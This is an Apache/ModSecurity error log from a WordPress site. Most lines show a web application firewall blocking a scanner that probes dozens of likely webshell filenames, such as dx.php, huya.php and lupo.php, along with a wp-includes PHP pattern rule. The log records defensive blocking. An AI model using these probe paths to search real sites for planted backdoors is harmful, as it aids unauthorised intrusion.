[Sat Apr 25 18:19:21.351464 2026] [:error] [pid 16195:tid 16204] [client 4.232.187.202:6490] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/js/index.php"] [unique_id "aeyVKTVPLvrpvXaNQOkEvgAAAAY"]
[Sat Apr 25 18:19:21.855585 2026] [:error] [pid 16195:tid 16199] [client 4.232.187.202:6480] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/js/index.php"] [unique_id "aeyVKTVPLvrpvXaNQOkExQAAAAE"]
[Sat Apr 25 18:19:22.324441 2026] [:error] [pid 16195:tid 16209] [client 4.232.187.202:7139] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/js/index.php"] [unique_id "aeyVKjVPLvrpvXaNQOkEyQAAAAs"]
[Sat Apr 25 18:19:22.842849 2026] [:error] [pid 16195:tid 16207] [client 4.232.187.202:6503] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/js/index.php"] [unique_id "aeyVKjVPLvrpvXaNQOkE2gAAAAk"]
[Sat Apr 25 18:19:23.378877 2026] [:error] [pid 16195:tid 16206] [client 4.232.187.202:7135] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dx.php"] [unique_id "aeyVKzVPLvrpvXaNQOkE5AAAAAg"]
[Sat Apr 25 18:19:23.908126 2026] [:error] [pid 16195:tid 16205] [client 4.232.187.202:7070] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dx.php"] [unique_id "aeyVKzVPLvrpvXaNQOkE6QAAAAc"]
[Sat Apr 25 18:19:24.434555 2026] [:error] [pid 16106:tid 16128] [client 4.232.187.202:7112] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dx.php"] [unique_id "aeyVLCGjdEsrWF7e-7MVzQAAAFI"]
[Sat Apr 25 18:19:24.941367 2026] [:error] [pid 16195:tid 16200] [client 4.232.187.202:6980] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dx.php"] [unique_id "aeyVLDVPLvrpvXaNQOkE7wAAAAI"]
[Sat Apr 25 18:19:25.417480 2026] [:error] [pid 16195:tid 16217] [client 4.232.187.202:7071] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/amdin.php"] [unique_id "aeyVLTVPLvrpvXaNQOkE8wAAABM"]
[Sat Apr 25 18:19:25.928194 2026] [:error] [pid 16195:tid 16220] [client 4.232.187.202:7109] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/amdin.php"] [unique_id "aeyVLTVPLvrpvXaNQOkE9gAAABY"]
[Sat Apr 25 18:19:26.482971 2026] [:error] [pid 16107:tid 16154] [client 4.232.187.202:7141] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/amdin.php"] [unique_id "aeyVLtIfF7Hy3tw0sYRenQAAAJE"]
[Sat Apr 25 18:19:26.984550 2026] [:error] [pid 16195:tid 16203] [client 4.232.187.202:6513] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/amdin.php"] [unique_id "aeyVLjVPLvrpvXaNQOkE-wAAAAU"]
[Sat Apr 25 18:19:27.465537 2026] [:error] [pid 16107:tid 16155] [client 4.232.187.202:7130] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/huya.php"] [unique_id "aeyVL9IfF7Hy3tw0sYReowAAAJI"]
[Sat Apr 25 18:19:27.955600 2026] [:error] [pid 16107:tid 16159] [client 4.232.187.202:7048] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/huya.php"] [unique_id "aeyVL9IfF7Hy3tw0sYRepwAAAJY"]
[Sat Apr 25 18:19:28.461181 2026] [:error] [pid 16107:tid 16138] [client 4.232.187.202:6465] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/huya.php"] [unique_id "aeyVMNIfF7Hy3tw0sYRerAAAAIE"]
[Sat Apr 25 18:19:28.972330 2026] [:error] [pid 16107:tid 16146] [client 4.232.187.202:6494] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/huya.php"] [unique_id "aeyVMNIfF7Hy3tw0sYReswAAAIk"]
[Sat Apr 25 18:19:29.460777 2026] [:error] [pid 16107:tid 16141] [client 4.232.187.202:6468] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/puc.php"] [unique_id "aeyVMdIfF7Hy3tw0sYReuAAAAIQ"]
[Sat Apr 25 18:19:29.993571 2026] [:error] [pid 16195:tid 16219] [client 4.232.187.202:6492] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/puc.php"] [unique_id "aeyVMTVPLvrpvXaNQOkE_QAAABU"]
[Sat Apr 25 18:19:30.613748 2026] [:error] [pid 16195:tid 16221] [client 4.232.187.202:7043] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/puc.php"] [unique_id "aeyVMjVPLvrpvXaNQOkFAAAAABc"]
[Sat Apr 25 18:19:31.218473 2026] [:error] [pid 16107:tid 16159] [client 4.232.187.202:6508] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/puc.php"] [unique_id "aeyVM9IfF7Hy3tw0sYRewwAAAJY"]
[Sat Apr 25 18:19:31.737526 2026] [:error] [pid 16195:tid 16202] [client 4.232.187.202:7115] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/themes.php"] [unique_id "aeyVMzVPLvrpvXaNQOkFAwAAAAQ"]
[Sat Apr 25 18:19:32.298071 2026] [:error] [pid 16195:tid 16199] [client 4.232.187.202:7150] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/themes.php"] [unique_id "aeyVNDVPLvrpvXaNQOkFBgAAAAE"]
[Sat Apr 25 18:19:32.788572 2026] [:error] [pid 16107:tid 16148] [client 4.232.187.202:7044] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/themes.php"] [unique_id "aeyVNNIfF7Hy3tw0sYReygAAAIs"]
[Sat Apr 25 18:19:33.267321 2026] [:error] [pid 16106:tid 16126] [client 4.232.187.202:7128] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/themes.php"] [unique_id "aeyVNSGjdEsrWF7e-7MV2wAAAFA"]
[Sat Apr 25 18:19:33.773512 2026] [:error] [pid 16108:tid 16185] [client 4.232.187.202:7121] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ewp.php"] [unique_id "aeyVNYbPF4HSQDj6WrlX6wAAANM"]
[Sat Apr 25 18:19:34.349433 2026] [:error] [pid 16107:tid 16142] [client 4.232.187.202:6488] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ewp.php"] [unique_id "aeyVNtIfF7Hy3tw0sYReywAAAIU"]
[Sat Apr 25 18:19:34.873861 2026] [:error] [pid 16108:tid 16170] [client 4.232.187.202:7059] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ewp.php"] [unique_id "aeyVNobPF4HSQDj6WrlX8AAAAMY"]
[Sat Apr 25 18:19:35.402283 2026] [:error] [pid 16195:tid 16217] [client 4.232.187.202:7113] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ewp.php"] [unique_id "aeyVNzVPLvrpvXaNQOkFEwAAABM"]
[Sat Apr 25 18:19:35.934920 2026] [:error] [pid 16107:tid 16145] [client 4.232.187.202:7082] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/kikikoko.php"] [unique_id "aeyVN9IfF7Hy3tw0sYRezQAAAIg"]
[Sat Apr 25 18:19:36.403458 2026] [:error] [pid 16106:tid 16132] [client 20.215.66.169:13500] [client 20.215.66.169] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/Text/Diff/Engine/about.php"] [unique_id "aeyVOCGjdEsrWF7e-7MV4wAAAFY"]
[Sat Apr 25 18:19:36.448107 2026] [:error] [pid 16108:tid 16173] [client 4.232.187.202:6478] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/kikikoko.php"] [unique_id "aeyVOIbPF4HSQDj6WrlX8wAAAMc"]
[Sat Apr 25 18:19:36.961887 2026] [:error] [pid 16108:tid 16180] [client 4.232.187.202:7154] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/kikikoko.php"] [unique_id "aeyVOIbPF4HSQDj6WrlX9QAAAM4"]
[Sat Apr 25 18:19:37.505542 2026] [:error] [pid 16195:tid 16206] [client 4.232.187.202:6493] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/kikikoko.php"] [unique_id "aeyVOTVPLvrpvXaNQOkFHgAAAAg"]
[Sat Apr 25 18:19:38.028643 2026] [:error] [pid 16108:tid 16174] [client 4.232.187.202:6487] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dx.php"] [unique_id "aeyVOobPF4HSQDj6WrlX-QAAAMg"]
[Sat Apr 25 18:19:38.577587 2026] [:error] [pid 16107:tid 16159] [client 4.232.187.202:7055] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dx.php"] [unique_id "aeyVOtIfF7Hy3tw0sYRe0QAAAJY"]
[Sat Apr 25 18:19:39.081692 2026] [:error] [pid 16195:tid 16200] [client 4.232.187.202:7095] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dx.php"] [unique_id "aeyVOzVPLvrpvXaNQOkFJAAAAAI"]
[Sat Apr 25 18:19:39.585044 2026] [:error] [pid 16108:tid 16181] [client 4.232.187.202:7153] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dx.php"] [unique_id "aeyVO4bPF4HSQDj6WrlX_gAAAM8"]
[Sat Apr 25 18:19:40.071345 2026] [:error] [pid 16195:tid 16203] [client 4.232.187.202:7106] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xff.php"] [unique_id "aeyVPDVPLvrpvXaNQOkFKQAAAAU"]
[Sat Apr 25 18:19:40.277947 2026] [autoindex:error] [pid 16195:tid 16206] [client 20.215.66.169:3934] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Apr 25 18:19:40.561999 2026] [autoindex:error] [pid 16195:tid 16204] [client 20.215.66.169:3934] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/SimplePie/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Apr 25 18:19:40.579625 2026] [:error] [pid 16195:tid 16198] [client 4.232.187.202:7060] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xff.php"] [unique_id "aeyVPDVPLvrpvXaNQOkFLgAAAAA"]
[Sat Apr 25 18:19:41.109575 2026] [:error] [pid 16195:tid 16214] [client 4.232.187.202:7096] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xff.php"] [unique_id "aeyVPTVPLvrpvXaNQOkFMgAAABA"]
[Sat Apr 25 18:19:41.690850 2026] [:error] [pid 16108:tid 16175] [client 4.232.187.202:7151] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xff.php"] [unique_id "aeyVPYbPF4HSQDj6WrlYBAAAAMk"]
[Sat Apr 25 18:19:42.206420 2026] [:error] [pid 16107:tid 16145] [client 4.232.187.202:7067] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lupo.php"] [unique_id "aeyVPtIfF7Hy3tw0sYRe2AAAAIg"]
[Sat Apr 25 18:19:42.403796 2026] [:error] [pid 16195:tid 16218] [client 20.215.66.169:3934] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dev.php"] [unique_id "aeyVPjVPLvrpvXaNQOkFOgAAABQ"]
[Sat Apr 25 18:19:42.705012 2026] [:error] [pid 16107:tid 16150] [client 4.232.187.202:7155] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lupo.php"] [unique_id "aeyVPtIfF7Hy3tw0sYRe2gAAAI0"]
[Sat Apr 25 18:19:42.965116 2026] [:error] [pid 16108:tid 16181] [client 20.215.66.169:3904] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dev.php"] [unique_id "aeyVPobPF4HSQDj6WrlYDQAAAM8"]
[Sat Apr 25 18:19:43.224869 2026] [:error] [pid 16106:tid 16131] [client 4.232.187.202:7045] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lupo.php"] [unique_id "aeyVPyGjdEsrWF7e-7MV5wAAAFU"]
[Sat Apr 25 18:19:43.530994 2026] [:error] [pid 16195:tid 16216] [client 20.215.66.169:3973] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dev.php"] [unique_id "aeyVPzVPLvrpvXaNQOkFOwAAABI"]
[Sat Apr 25 18:19:43.739359 2026] [:error] [pid 16195:tid 16207] [client 4.232.187.202:7101] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lupo.php"] [unique_id "aeyVPzVPLvrpvXaNQOkFPAAAAAk"]
[Sat Apr 25 18:19:44.070242 2026] [:error] [pid 16107:tid 16140] [client 20.215.66.169:4003] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dev.php"] [unique_id "aeyVQNIfF7Hy3tw0sYRe3wAAAIM"]
[Sat Apr 25 18:19:44.252902 2026] [:error] [pid 16107:tid 16156] [client 4.232.187.202:7149] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/awa.php"] [unique_id "aeyVQNIfF7Hy3tw0sYRe4AAAAJM"]
[Sat Apr 25 18:19:44.630652 2026] [:error] [pid 16108:tid 16170] [client 20.215.66.169:4043] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bal.php"] [unique_id "aeyVQIbPF4HSQDj6WrlYEgAAAMY"]
[Sat Apr 25 18:19:44.722619 2026] [:error] [pid 16108:tid 16182] [client 4.232.187.202:7040] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/awa.php"] [unique_id "aeyVQIbPF4HSQDj6WrlYEwAAANA"]
[Sat Apr 25 18:19:45.165951 2026] [:error] [pid 16108:tid 16185] [client 20.215.66.169:3938] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bal.php"] [unique_id "aeyVQYbPF4HSQDj6WrlYFQAAANM"]
[Sat Apr 25 18:19:45.221365 2026] [:error] [pid 16107:tid 16144] [client 4.232.187.202:6506] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/awa.php"] [unique_id "aeyVQdIfF7Hy3tw0sYRe4gAAAIc"]
